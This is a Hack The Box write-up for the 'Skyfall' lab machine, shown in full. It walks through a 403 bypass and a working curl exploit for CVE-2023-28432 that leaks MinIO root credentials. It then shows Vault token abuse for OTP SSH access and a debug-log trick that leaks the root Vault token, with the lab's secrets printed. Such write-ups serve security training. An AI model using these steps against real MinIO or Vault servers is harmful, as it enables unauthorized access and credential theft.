Post

Skyfall - HTB Writeup

Machine Overview

Skyfall is an Insane machine on HTB that involves bypassing a 403 error and accessing the minio metrics page, then exploiting CVE-2023-28432 to gain the minio_root_user and minio_root_password. These credentials can be used to access the minio storage through the minio client as a root user. From minio, we found a VAULT token and a Vault path, which leads us to gain initial access as the askyy user. For privilege escalation, we leverage the debug feature of vault-unseal, which leaks the root user token and path to Vault. We then follow the same method to gain a shell as root as we used to get the askyy shell.

image

User

Scanning with nmap

First of all, we will go with Nmap to scan the whole network and check for services running on the network. To scan the entire network and find all the open ports, I use -p- to scan all 65535 ports with –min-rate 10000 to scan the network faster using nmap. After scanning, I retrieve a list of open ports on the network and extract only the open ports using various terminal tools like cut, tr, etc.

1
2
3
$ nmap -p- --min-rate 10000 10.10.11.254 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
# Open ports
22,80

Now Let’s run the depth scan on these specific ports using

1
$ nmap -p22,80 -sC -sV -A -T4 10.10.11.254 -oN scan.txt
  • -sC is to run all the default scripts
  • -sV for service and version detection
  • -A to check all default things
  • -T4 for aggressive scan
  • -oN to write the result into a specified file
1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Information Gathering

Through Nmap, we discovered only two ports are open. On Port 22, SSH version 8.9p1 is running on an Ubuntu system, and on port 80, HTTP Nginx 1.18.0 is running. The title of the webpage is “Introducing Sky Storage!”. Both versions of SSH and Nginx are not vulnerable, so I decided to directly visit the webpage. Let’s add skyfall.htb in our DNS file.

1
$ echo "10.10.11.254   skyfall.htb" | sudo tee -a /etc/hosts

80 HTTP

The webpage is running the SKYFALL website, which deals in data management and Sky Storage, with different pages linked on the navbar.

Pasted image 20240207170725

All the links lead to the same page, which is our main page, and we found nothing interesting there except a subdomain called demo.skyfall.htb present on the demo section. Let’s also add this to our local DNS file.

Pasted image 20240207171019

Let’s move to the demo.skyfall.htb website and see what is there. A simple login page is running, and demo login credentials are provided to us on the page top. So, we can log into the webpage using the demo credentials.

Pasted image 20240207171547

After logging in using the demo credentials, the website redirects us to the index page. This is a Sky Storage Dashboard, where we can upload and download our files.

Pasted image 20240207171832

Tech Stack

We couldn’t find any useful information there.

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 06 Feb 2024 12:06:46 GMT
Content-Type: text/html
Last-Modified: Thu, 09 Nov 2023 20:44:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"654d44a7-5097"
Content-Encoding: gzip

We didn’t find any useful information there, so I decided to view the source code of the web page, and from there, I discovered that the backend is using Flask, a Python framework.

1
2
3
4
<div class="copyright text-center text-sm text-muted text-lg-start">
&copy; <a class="font-weight-bold">Sky Storage</a>
Powered by Flask.
</div>

MinIO

On the Sky Storage Dashboard, I discovered a MinIO Metrics page.

MinIO is an open-source object storage server that is compatible with the Amazon S3 cloud storage service. It allows users to store unstructured data such as photos, videos, log files, backups, and other types of large binary or text objects. MinIO is designed to be lightweight, scalable, and highly available, making it suitable for a wide range of use cases from small businesses to large enterprises. It is written in Go programming language and can run on a variety of platforms including Linux, macOS, and Windows. MinIO supports features like erasure coding, data encryption, and multi-tenancy, making it a versatile solution for building private or public cloud storage infrastructure.

Pasted image 20240207172231

But the MinIO Metrics page is returning a 403 Forbidden error. However, I really want to see the content inside it. I tried different 403 bypass techniques, and the CRLF technique works, which involves adding %0a at the end of the file name.

Pasted image 20240207173308

Pasted image 20240207173402

At the very last entry point, I discovered the minio_endpoint_url which is: http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster.

Pasted image 20240206181506

Let’s also add this to our local DNS file and check what is present on that MinIO endpoint. There is numerical data about the performance and health of systems and applications present, which is scraped from HTTP endpoints. I went through all the data but didn’t find anything interesting there.

Pasted image 20240207173947

After finding nothing from that endpoint, I searched for recent CVEs related to MinIO on Google and found one Information Disclosure Vulnerability known as CVE-2023-28432 in MinIO. This vulnerability affects the minio/bootstrap/v1/verify endpoint, which leaks all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. The vulnerable code is located in the VerifyHandler function in the bootstrap-peer-server.go file of the MinIO source code. Exploiting this vulnerability could allow an attacker to access and manipulate data stored in the MinIO cluster without proper authorization. Reference

Exploiting CVE-2023-28432

When I tried to access the minio/v2/metrics/cluster path, it threw an error “AllAccessDisabled”. Strange. So, I decided to use cURL instead.

cURL

cURL is a command-line tool used to interact with the web through the terminal.

1
2
3
4
5
6
7
$ curl -i -s -k -X $'POST' \
    -H $'Host: prd23-s3-backend.skyfall.htb' -H $'User-Agent: curl/8.5.0' -H $'Accept: /' -H $'Content-Length: 2' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
    --data-binary $'{}' \
    $'http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify'

# Sensitive Data
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
  • -i to show response header in output
  • -s to remain silent
  • -k for insecure communication
  • -X for request method
  • -H for Headers
  • –data-binary for HTTP POST binary data
1
2
MINIO_ROOT_USER : 5GrE1B2YGGyZzNHZaIww
MINIO_ROOT_PASSWORD : GkpjkmiVmpFuL2d3oRx0

Now that we have both the root_user and root_password, I found on the MinIO user management page that the root user has access to all actions and resources on the deployment. So, for management purposes, we need mc (which is the MinIO client used to interact with the MinIO server remotely). Reference

You can download mc using the following command: Reference

1
2
3
$ wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
./mc --help

On the same page, it is written that we can create an alias with MinIO Cloud Storage using mc alias by providing the user secret and secret key, and we have both in our case for the root user. Reference

Listing Content of MinIO using mc

So, let’s access the MinIO Cloud Storage using mc. You can get the list of all mc commands from here.

1
2
3
$ ./mc alias set minio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

Added `minio` successfully.

Now Lets list the content.

1
2
3
4
5
6
7
8
9
$ ./mc ls minio
[2023-11-07 23:59:15 EST]     0B askyy/
[2023-11-07 23:58:56 EST]     0B btanner/
[2023-11-07 23:58:33 EST]     0B emoneypenny/
[2023-11-07 23:58:22 EST]     0B gmallory/
[2023-11-07 19:08:01 EST]     0B guest/
[2023-11-07 23:59:05 EST]     0B jbond/
[2023-11-07 23:58:10 EST]     0B omansfield/
[2023-11-07 23:58:45 EST]     0B rsilva/

And we can see we have a list of users. Let’s access the content of each user to see if we can find any useful data from it. All the other users have only one same file, welcome.pdf, except the askyy user, who has a home_backup.tar.gz file in its storage.

1
2
3
$ ./mc ls minio/askyy 
[2023-11-08 00:35:28 EST]  48KiB STANDARD Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD home_backup.tar.gz

Let’s download it using the mc cp command. It will download the file from the MinIO server to our local file system.

1
2
$ ./mc cp minio/askyy/home_backup.tar.gz .
..._backup.tar.gz: 2.48 KiB / 2.48 KiB 

The file has been downloaded successfully. Let’s extract the contents from it using the gunzip and tar utilities of Linux.

1
2
3
4
5
6
7
8
9
10
11
12
$ gunzip home_backup.tar.gz 
$ tar -xvf home_backup.tar 
./
./.profile
./.bashrc
./.ssh/
./.ssh/authorized_keys
./.sudo_as_admin_successful
./.bash_history
./.bash_logout
./.cache/
./.cache/motd.legal-displayed

After going through all these files, I didn’t find anything useful and moved back to the documentation of the mc client. There, I found a command called undo, which reverses changes due to either a PUT or DELETE operation at a specified path. There, I noticed that the size of the file home_backup.tar.gz increased from 2.5KB to 2.6KB. Let’s download this one to our local filesystem using cp. I tried once more, and the size of the file increased from 2.6KB to 1.2MB. Let’s download this one as well.

1
2
3
4
5
6
7
8
9
10
11
12
$ ./mc undo  minio/askyy --recursive --force
✓ Last upload of `askyy/Welcome.pdf` (vid=bba1fcc2-331d-41d4-845b-0887152f19ec) is reverted.
✓ Last upload of `askyy/home_backup.tar.gz` (vid=25835695-5e73-4c13-82f7-30fd2da2cf61) is reverted.

$ ./mc ls minio/askyy                       
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD home_backup.tar.gz

$ ./mc cp myminio/askyy/home_backup.tar.gz .  
..._backup.tar.gz: 2.64 KiB / 2.64 KiB

$ ./mc ls myminio/askyy                       
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD home_backup.tar.gz

After that, I extracted all the files and created a folder for each one so that I can analyze the data and measure the difference between all of them. I used grep to find different patterns in all the files recursively.

1
$ grep -rni -e "Password" -e "User" -e "API" -e "Token" -e "SSH" -e "askyy"
  • -r for recursive
  • -n for line number
  • -i for case insensitive
  • -e to take each word as saperate word

Pasted image 20240207202925

Pasted image 20240207202946

Here, I found three interesting things: VAULT_API_DIR, VAULT_TOKEN, and id_rsa for the askyy user. I tried to log in using the id_rsa key, but it didn’t work. I also tried to crack the key of id_rsa using John, but that also didn’t work.

Vault

When id_rsa didn’t work, I moved to the VAULT. I Googled Vault and found the very first link describing Vault as an identity-based secrets and encryption management system. Vault works on tokens. In our case, we have both VAULT_API_DIR and the VAULT_TOKEN. Reference

You can download Vault from here. Let’s look at the help section of Vault. We can read and write, delete, list secrets.

Pasted image 20240207205358

Now, let’s connect to Vault using the token we got before. Reference First, export the vault address in an environmental variable. This will configure the Vault client to talk to the dev server. Then, export the Vault Token in another environmental variable. After setting both values, check the server status to see if it is running or not.

1
2
3
$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
$ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
$ ./vault status

And Vault is connected successfully.

Pasted image 20240207203804

After going through the documentation of Vault, I discovered a page named One-Time SSH Password.

One-Time SSH Passwords

The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification. Reference

To mount the secrets engine to our Vault so that we can request for OTP and login through SSH, we need to perform the following steps:

1
2
$ ./vault secrets enable ssh
Success! Enabled the ssh secrets engine at: ssh/

Let’s first list the SSH roles in our current Vault.

1
2
3
4
5
$ ./vault list ssh/roles
Keys
----
admin_otp_key_role
dev_otp_key_role

We found two ssh/roles in Vault. Let’s create an SSH session.

  • admin_otp_key_role
  • dev_otp_key_role

    Shell as askyy

I tried to create an SSH session through the admin_otp_key_role, but it didn’t work here. So, I moved to dev_otp_key_role.

1
$ ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254

I got a shell as the askyy user.

Pasted image 20240207211234

Privilege Escalation

I ran sudo -l to check if there is any program the askyy user can run on behalf of the root user, and it turns out that askyy can run vault-unseal.

Pasted image 20240207211608

When I go to the GitHub page of vault-unseal, it shows me four options. Reference

  • -v for version detection
  • -l for long path
  • -c for configuration file path
  • -h for help

But on our tool’s page, it shows -d, which is not documented on the official page of vault-unseal. So, I asked ChatGPT about this option, and it says that -d is mostly used for debugging purposes in different command-line tools. So, I ran vault-unseal with -d and noticed that it creates a debug.log file in the current working directory. When I tried to access it, it said “permission denied.”

Pasted image 20240207214700

Then, I created a file with the name debug.log so that next time when vault-unseal tries to save the debug content, it will save in our file. This way, we can read it.

Pasted image 20240207215109

And we found the TOKEN of the root user and the PATH. Let’s try to access the Vault of the root account. The process will be the same, just we will access the admin_otp_key_path instead of the dev_otp_key_path.

1
2
3
$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
$ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
$ ./vault status

Pasted image 20240207215738

1
./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254

Pasted image 20240207215929

Flags

user : 05df3abc1………8261e6b5a9db5 root : 3d66dd005990……….e073287008

Happy Hacking :)

This post is licensed under CC BY 4.0 by the author.